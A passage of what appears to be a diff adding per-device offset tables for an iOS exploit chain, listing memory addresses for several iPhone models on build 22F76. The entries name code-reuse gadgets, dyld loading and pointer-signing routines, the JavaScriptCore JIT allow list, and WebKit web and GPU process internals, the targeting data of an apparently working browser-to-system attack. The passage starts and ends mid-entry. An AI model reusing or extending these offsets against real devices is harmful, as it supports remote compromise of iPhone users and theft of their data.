gadget_loop_2_ios184: 0x20d261da8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfda16cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218aeb820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cf098n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2b0000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce300n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone16,2_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae38d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae33c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3320n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3370n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2768n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0488n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2df0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2aa0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2aa8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2ab0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c29f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2ab8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x2586dae60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda63058n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda672b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fdf8n, + WebCore__initPKContact_value: 0x1eda6fe00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e5c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e5b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e5a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda64200n, + __pthread_head: 0x26ad8c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9bd0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f28d150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d261da8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfda16cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218aeb820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cf098n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2b0000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce300n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,1_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae38d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae33c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3320n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3370n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2768n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0488n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2df0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2aa0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2aa8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2ab0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c29f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2ab8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257fc3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda63058n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda672b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fdf8n, + WebCore__initPKContact_value: 0x1eda6fe00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e5c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e5b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e5a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda64200n, + __pthread_head: 0x26a66c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9bd0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f28d150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d261da8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfda16cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218aeb820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cf098n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2b0000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce300n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,2_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae38d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae33c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3320n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3370n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2768n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0488n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2df0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2aa0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2aa8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2ab0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c29f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2ab8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257fc3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda63058n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda672b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fdf8n, + WebCore__initPKContact_value: 0x1eda6fe00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e5c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e5b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e5a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda64200n, + __pthread_head: 0x26a66c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9bd0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f28d150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d261da8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfda16cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218aeb820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cf098n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2b0000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce300n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,3_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae3798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae3280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae31e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2cb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c28b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2978n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257fbfe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62f18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda67178n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fcb8n, + WebCore__initPKContact_value: 0x1eda6fcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda640c0n, + __pthread_head: 0x26a01c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9a90n, + gadget_control_1_ios184: 0x23f11c2ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec17e8n, + libGPUCompilerImplLazy_cstring: 0x23c00b870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cef58n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce1c0n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,4_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae3798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae3280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae31e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2cb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c28b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2978n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257fbfe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62f18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda67178n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fcb8n, + WebCore__initPKContact_value: 0x1eda6fcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 